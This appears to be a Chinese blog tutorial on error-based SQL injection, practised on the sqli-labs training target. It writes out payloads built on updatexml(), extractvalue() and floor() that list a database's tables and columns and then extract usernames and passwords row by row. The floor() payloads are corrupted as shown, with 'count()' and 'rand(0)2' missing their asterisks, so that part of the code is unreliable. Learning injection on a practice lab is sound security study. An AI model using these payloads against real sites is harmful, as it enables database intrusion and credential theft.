这里是你们的小编Monster~
最近有小伙伴留言问到报错注入是怎么一回事?
小编其实也只有用过updatexml这一个报错函数...
刚好今天有时间,我们就一起来试试一些常见的报错注入函数的效果吧~
Part.1
实验环境
实验环境
我们这里使用sqli-labs靶机来进行测试,这是一个练习sql注入的专用靶机,如下:
感兴趣的小伙伴可以去下载一下。
这里我们打开class 5,用这一关来进行实验:
这一关只会显示查询结果,不会显示查询内容。
例如输入?id=1,此时查询内容存在,显示如下:
输入?id=100000,此时查询内容不存在,显示如下:
输入id=1' ,语法报错如下:
根据上面的报错,输入?id=1' and 1=1 --+ 语法上显示正常。确定payload:
此SQL注入页面不显示查询内容,只显示查询对错,因此可以通过布尔盲注的方法进行查询。今天测试的是报错注入,此处我们先不进行展开。
class5 源代码如下:
我们来试试这三种报错注入函数:updatexml(),extractvalue(),floor()
Part.2
updatexml 方法
updatexml 方法
固定格式为:
?id=1' and updatexml(1,concat(0x7e,(******),0x7e),1)--+
我们先查询一下当前数据库的版本信息:
查询当前登陆用户:
查询当前所处的数据库:
查询当前数据库中的表名:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
查询users表中的字段:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
最后,查询用户名密码:
?id=1' and updatexml(1,concat(0x7e,( select concat_ws('%23',id,username,password) from users),0x7e),1)--+
显示出错,是因为报错信息每次只能显示1行,所以需要配合limit功能,修改payload如下:
?id=1' and updatexml(1,concat(0x7e,( select concat_ws('%23',id,username,password) from users limit 0,1),0x7e),1)--+
查询下一位用户信息:
?id=1' and updatexml(1,concat(0x7e,(select concat_ws('%23',id,username,password) from users limit 1,1),0x7e),1)--+
以上,通过updatexml()函数查出了用户信息。
Part.3
其他
其他
其他两种报错注入语句的使用方法大同小异,这里给出简单演示。
(1)extractvalue 方法
固定语句:
?id=1' and extractvalue(1, concat(0x5c, (select ******))) --+
查询用户信息:
?id=1' and extractvalue(1, concat(0x5c, (select concat_ws('%23',id,username,password) from users limit 0,1))) --+
(2)floor 方法
固定语句
?id=1' and (select 1 from (select count(),concat((***), floor(rand(0)2))x from information_schema.columns group by x)a) --+
查询用户信息:
?id=1' and (select 1 from (select count(),concat((select concat_ws('%23',id,username,password) from users limit 0,1), floor(rand(0)2))x from information_schema.columns group by x)a) --+
以上就是一次报错注入的简单演示。
当然,报错注入所涉及的函数远不止上面3种,大家可以自行收集。
Part.4
结语
好啦,以上就是今天的全部内容了~
Peace!